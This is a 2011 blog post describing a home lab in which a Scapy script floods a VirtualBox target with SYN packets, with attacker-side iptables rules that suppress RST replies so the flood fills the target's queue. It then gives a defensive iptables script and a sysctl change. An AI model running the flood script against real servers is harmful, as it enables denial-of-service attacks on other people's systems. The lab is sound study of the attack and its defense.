Saturday, May 14, 2011

SYN Packet Generation by Scapy & SYN Flood Prevention using iptables

Recently I played with iptables & got into situation to prevent SYN Floods using iptables. So here is my solution for this. SYN Flood Packet generation is done by Scapy to simulate the DDOS through Multiple Oracle VirtualBox Virtual machines running Ubuntu 10.04 server. Works for me. :)

Attackers Configurations :

I am using three Virtual machines here of Ubuntu Server 10.04 connected through “Hostonly” network adapter of VirtualBox. 192.168.56.102 is Target server, 192.168.56.101 & 192.168.56.103 are Attackers.
Install the Scapy tool for packet generation, I am using 2.2.0 version here. Extract the Scapy source & run the following command

root@ubiserv:~# python setup.py install

run Scapy using
root@ubiserv:~# scapy

For attacking the Target server at 192.168.56.102, insert the following rule into the Attacker’s systems i.e. at 192.168.56.101 & 192.168.56.103

root@ubiserv:~# iptables –A OUTPUT –p tcp –s 192.168.56.101 --tcp-flags RST RST –j DROP
root@ubiserv:~# iptables –A OUTPUT –p tcp –s 192.168.56.103 --tcp-flags RST RST –j DROP 

Note - Iptables rules will only apply to kernel stack, not above that. For ex. the iptables rule will not apply to packets generated by Scapy. Scapy packet crafting tool creates the whole packet in its space, hence iptables rule will not hold here. Though the malformed/manipulated packets crafted by Scapy will be seen by Kernel, resulting in replies/responses/resets from Kernel. This can be prevented by using iptables, so that kernel will not respond to scapy packets. After sending the SYN packets to Target the Attacker’s Kernel will try to respond it by RST packets as this communication is not initiated by Kernel. We have to block this otherwise the Buffer of Target will not get full.

This rule will DROP the packets from 192.168.56.101/103 on OUTPUT chain with RST flag set, preventing from resetting the connection.
Run the python script on the Attackers systems to send malformed SYN connections to Target with custom ttl & id values.

SYN_Flood_Scapy.py script contents
#! /usr/bin/env python
# Name : Subodh Pachghare
# CyberSpace Name : HaX0R (Cyberninja)
# Website : www.thesubodh.com
# Description : SYN Flood Packet creation for iptables prevention solution
import sys
from scapy.all import *
#conf.verb=0
print "Field Values of packet sent"
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ls(p)
print "Sending Packets in 0.3 second intervals for timeout of 4 sec"
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4)
print "Summary of answered & unanswered packets"
ans.summary()
unans.summary()
print "source port flags in response"
#for s,r in ans:
# print r.sprintf("%TCP.sport% \t %TCP.flags%")
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%")))

SYN Flood python script can be downloaded here.
This will generate the SYN packets to target with id=1111 & ttl=99
Usage of script will be like this
root@ubiserv:~# python SYN_Flood_Scapy.py 192.168.56.102

This script sends the SYN connections to the 22 & 80 port from random source port numbers using randshort() function present. Script will also provide the detail of the crafted packet for the purpose of attack. At last the script reports SA (SYN-ACK) responses & gives result in answered & unanswered packages. Reply back to SA shows that target responded with SYN-ACK but not sent any communication or RST back. So the Target thinks the SA was lost or did not reached to Initiator hence it keeps sending it back. The connection on target server remains in SYN_RECV condition. The SYN_RECV condition for each port remains for 3 minutes as per the net.ipv4.tcp_synack_retries parameter. This is set to 5 in Linux & then Kernel closes it. This is SYN Flood condition. The Million’s of unanswered SYN requests to Target can cause the buffer to get filled up completely, unable to serve the legit clients as there is no memory resources left. This is Typical DDOS (Distributed Denial of Service) attack initiated in real scenario from multiple IP addresses across the globe. Retrospectively speaking, these kinds of attacks are generally carried out with the help of BOTNETS or other compromised systems.

Prevention Measures on Target Server :

For prevention of this I have created a shell script to fulfill my needs of iptables automatically. This solution will reject all the suspicious TCP connections with TCP RST Flag i.e. reset packet to prevent the potential DDOS scenario. 25 attempts from every single IP address is allowed to take care of Packet loss, After that SYN Packets from these IP will be rejected under intentional flooding case & IP address logged for tracking purpose. The time interval has to be specified with the script to check for connections, basically for given time interval the script goes into sleep. For more IP connections observed it is recommended that to use lower seconds.

Use script like this
root@ubiserv:~# ./SYN_Flood_Prevention.sh 4

This will also log the number of connections made & IP address into log file.

SYN_Flood_Prevention.sh  script Contents
# Name : Subodh Pachghare
# CyberSpace Name : HaX0R (Cyberninja)
# Website : www.thesubodh.com
# Description : SYN Flood Prevention using iptables against Scapy SYN packets generated
> /var/log/DDOS_IP.log
> /tmp/test1.txt
> /tmp/test2.txt
trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables entries cleared;echo HaX0R SVP" EXIT
while true;
do
date >> /var/log/DDOS_IP.log
netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c >> /var/log/DDOS_IP.log
for pip in `netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq`
do
conntrack=`netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | grep $pip | wc -l`;
while read line
do
if [ "$line" = "$pip" ]
then
continue 2
fi
done < /tmp/test2.txt
if [ "$conntrack" -gt "25" ]
then
iptables -I INPUT -s $pip -p tcp -j REJECT --reject-with tcp-reset
echo "$pip" >> /tmp/test1.txt
fi
done
cat /tmp/test1.txt | sort | uniq > /tmp/test2.txt
sleep $1
done

Iptables shell script can be downloaded here.
Complete Zip file of files related to this topic including Scripts, tcpdump packet captures, pdf of this post etc can be found here in Complete ZIP File.

EXIT signal (^C) will cause the script to Flush all the iptables chain to clear the configuration for prevention of SYN Flood. The topology diagrams are given below. Also find the snapshot for the Scapy SYN packet output at the shell prompt. These scripts are generated according to my requirements.

Kernel configuration :

Further the SYN_ACK retries also has to be modified to the lower values, so that the SYN_RECV state connections will get closed quickly. The parameter need to be set is net.ipv4.tcp_synack_retries . This has default value of 5 in Linux. 5 SYN_ACK retries will cause the older port connections to close in 3 minutes, resulting in lots of stale connections & memory resource consumption. This can be reduce to 1 so that the older SYN_RECV connections will close in 10 seconds if no reply is received from initiator. Set the parameter using the following way.

Add the following line to /etc/sysctl.conf
net.ipv4.tcp_synack_retries = 1

Commit the changes made in sysctl using
root@ubiserv:~# sysctl –p /etc/sysctl.conf

Verify it using
root@ubiserv:~# cat /proc/sys/net/ipv4/tcp_synack_retries
1
root@ubiserv:~#

Now the old connections will end in 10 sec as only one SYN_ACK retry sent. So this is it for SYN Flood prevention. I will post more about iptables in later posts.Please drop me a mail if you think to use this & of course for any suggestions or problems. Mail can be found in Contact Me section. Happy rooting.

Click on the following images for Full Size.

Attack Scenario


Prevention


Snapshot : Scapy python script output on Attackers system

3 comments:

  1. Good and lucid explanation !
    My 2 cents - the preventive measure of blocking a particular IP when >25 SYN pkts come from it could be easily bypassed by making SCAPY spoof the IP addresses ;)

    ReplyDelete
  2. Yeah you are absolutely right, attacker can easily spoof the IP address and can come back to launch SYN packets, however new spoofed IP address will be banned too by prevention script. The idea here is to block all connections who are intentionally trying to exhaust socket memory.

    ReplyDelete
  3. Subodh can you help me out with an issue?

    ReplyDelete